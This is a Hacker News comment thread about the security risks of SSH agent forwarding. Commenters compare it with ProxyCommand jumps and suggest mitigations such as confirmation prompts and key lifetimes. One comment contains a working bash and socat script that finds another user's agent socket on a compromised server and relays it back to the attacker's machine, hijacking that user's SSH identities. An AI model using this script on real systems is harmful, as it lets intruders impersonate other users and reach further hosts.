SSH Agent Forwarding considered harmful

67 点作者 nodata大约 10 年前

13 条评论

Forbo大约 10 年前

It says so right in the man page:"Agent forwarding should be enabled with caution. Users with the ability to bypass file permissions on the remote host (for the agent's UNIX-domain socket) can access the local agent through the forwarded connection. An attacker cannot obtain key material from the agent, however they can perform operations on the keys that enable them to authenticate using the identities loaded into the agent."And it's not like this is buried in the manual. It says this in the section describing `-A`.

评论 #9429440 未加载

评论 #9431484 未加载

lisper大约 10 年前

One legitimate use case for agent forwarding that I've used in the past is ssh-ing in to a development server and doing a pull from a github repo. Without agent forwarding to authenticate from the dev server to github that gets really annoying really fast. Whatever vulnerabilities are introduced by agent forwarding they pale in comparison to those you get by leaving your private key on the dev server.

评论 #9431488 未加载

评论 #9429019 未加载

评论 #9428631 未加载

评论 #9428988 未加载

评论 #9428417 未加载

评论 #9428411 未加载

ryan-c大约 10 年前

Something I cooked up a while ago:<pre><code> #!/bin/bash REMOTE_HOST=$1 REMOTE_SSH_AUTH_SOCK=`ssh $REMOTE_HOST 'find /proc -maxdepth 2 -user \$USER -wholename */environ 2>/dev/null | xargs grep -zhm1 SSH_AUTH_SOCK 2>/dev/null' | tr '\0' '\n' | head -n1 | cut -d = -f 2` if [ -n "$REMOTE_SSH_AUTH_SOCK" ] then echo Found remote agent socket $REMOTE_SSH_AUTH_SOCK HIJACKED_SSH_AUTH_SOCK=/dev/shm/agentjack_$REMOTE_HOST socat UNIX-LISTEN:$HIJACKED_SSH_AUTH_SOCK,reuseaddr,fork EXEC:"'ssh -q $1 socat STDIO UNIX-CONNECT:$REMOTE_SSH_AUTH_SOCK'" & SOCAT_PID=$! export SSH_AUTH_SOCK=$HIJACKED_SSH_AUTH_SOCK bash kill $SOCAT_PID fi </code></pre> This will connect to a server that you have somehow gained access to, find an agent socket, and reverse-forward the agent to the system you're connecting from. Depends on socat being installed on the server, though, which is somewhat uncommon.I wrote a tool a while ago that automates using ssh jump hosts which may be of interest. <a href="https://github.com/ryancdotorg/ssh-chain" rel="nofollow">https://github.com/ryancdotorg/ssh-chain</a>

评论 #9429556 未加载

peterwwillis大约 10 年前

Agent forwarding and ProxyCommand-style jumps are two different use cases; they both have uses which the other cannot be used for.ProxyCommand is used for 'jump servers', where you want to simply login to one server behind another. Of course it's handy to be able to authenticate from your desktop to an additional server whenever possible and not leave yourself open to attack from some server in the middle. In fact, it becomes very handy to use an ssh agent in combination with ProxyCommand-style jumps.Agent forwarding is used when you actually need different servers to interact with each other [and not your desktop] using credentials only you control. Rather than keeping credentials on the disks of intermediate servers, they stay on your desktop.From an even more practical standpoint, agents allow you to copy files between servers without these stored credentials, too. Just try copying a couple terabytes of data from one server to another with your cable modem as the intermediary; it takes a lot longer than copying from server to server. Hence, agent forwarding to allow you to copy files from host A to B using the creds on your desktop. ProxyCommand doesn't do this.Agent forwarding is always somewhat potentially harmful, but that potential can be limited a great deal. Of course the private keys (nor passwords) are never sent over the network. ssh-add -c allows you to be prompted before they're used (the author thought it was ssh-agent's option) and the -t option to both ssh-agent and ssh-add also allows you to expire the credentials after a given period of time.

scott_karana大约 10 年前

How is ProxyCommand any better?You still have to authenticate on the far remote server somehow, and the root user of the compromised middle machine can still MITM your entire negotiation because you have to trust their sshd and ssh commands.How do you know they're not just rewriting your ProxyCommand?...

评论 #9428519 未加载

评论 #9428518 未加载

clarkm大约 10 年前

A legitimate use case for forwarding your SSH agent is when you're working with a bunch of local VMs. I spin up several vagrant boxes that connect to different networks, and like to be able to log in to the VMs and have ssh-agent continue to let me do passwordless login to remote machines.I suppose you could use ProxyCommand for stuff like this, but it interferes with the vagrant ssh syntax, and makes you go through the hassle of updating your SSH config, which doesn't scale very well.

评论 #9429403 未加载

ewindisch大约 10 年前

Nothing new, more amazing is how apparently unknown this is. Also, there are risks the article doesn't acknowledge:1) You should fear for your key just as much from local applications as you do from a remote machine. Yes, there is a great risk from remote system and agent forwarding, but do not become overly comfortable and presume these best practices do not also extend to your local machine.2) You should always require ssh-askpass. You want to be prompted locally, otherwise malicious software on your machine could compromise your keyring. Needless to say, encrypt your key (have a passphrase).3) You want to use 'ssh-add -x' to lock your keyring and prevent removal or addition of keys. Not only could this open you to various direct attacks, but the ssh-agent itself could potentially be a target for attack via buffer-overflow, double-free, etc. One trivial attack made possible by not using 'ssh-add -x' would be to flood the agent with keys forcing logins to fail with too-many-attempt errors.

adamtj大约 10 年前

The last paragraph about eavesdropping is interesting. The agent doesn't actually give out your key, so an attacker can't use your key to decrypt any traffic. Instead, the attacker gets at the decrypted data as it passes between two ssh processes. Agent forwarding requires the data to be decrypted on the compromised proxy machine. That's the security hole.The data is encrypted between the workstation and the proxy machine A, which we'll assume is compromised. The receiving ssh process running on machine A decrypts the data and gives it to a second ssh process, which re-encrypts it and sends it to the destination machine B. Because it's getting decrypted on machine A, anybody who controls that machine can view or modify the data.With a proxy command, there is only one ssh process running on the compromised machine and it never sees the decrypted data. All it's doing is forwarding a TCP connection. The second ssh process (the one connected to B) runs on your workstation. The data is encrypted on your workstation and sent to B, via the TCP tunnel running on A. But the data passing through A is encrypted using ephemeral keys that A doesn't have. In this situation, controlling A is no more useful than controlling any of the other internet routers or switches that your data is passing through.

derefr大约 10 年前

A fun read in a similar vein: the mosh (<a href="https://mosh.mit.edu/" rel="nofollow">https://mosh.mit.edu/</a>) issue regarding adding support for SSH agent forwarding: <a href="https://github.com/keithw/mosh/issues/120" rel="nofollow">https://github.com/keithw/mosh/issues/120</a>

评论 #9429274 未加载

thwarted大约 10 年前

keeping track of which keys have been added to your local ssh-agent is a tedious task. SSH is very promiscuous when it comes to using SSH keys, and once you make use of another key it will happily add that to your current agent session.I've only found this to be true with gnome-keyring's ssh-agent emulation (which isn't complete last time I checked, since it doesn't support -c) and the ssh-agent that OSX's keychain provides. They implicitly show keys added if they have known filenames in ~/.ssh (id_rsa, for example) in the output of `ssh-add -l`. To make matters worse, decrypting the key file puts the passphrase in the key chain, so even if you put as password on your ssh key, it's still accessible after you login and authenticate to the keychain service.The ssh-agent that is distributed with openssh does not do this and requires keys to be added explicitly.

blueskin_大约 10 年前

Are people only just realising this?I would only ever use agent forwarding to a trusted host exactly because of what it does - put a socket on that host that responds with your SSH key... Anyone on that host with root has access to your key.

hckr1292大约 10 年前

"This is like having unprotected sex only for a short amount of time. And sometimes you do"

khaki54大约 10 年前

Why not just require key use confirmation? ssh-add -c It's that easy.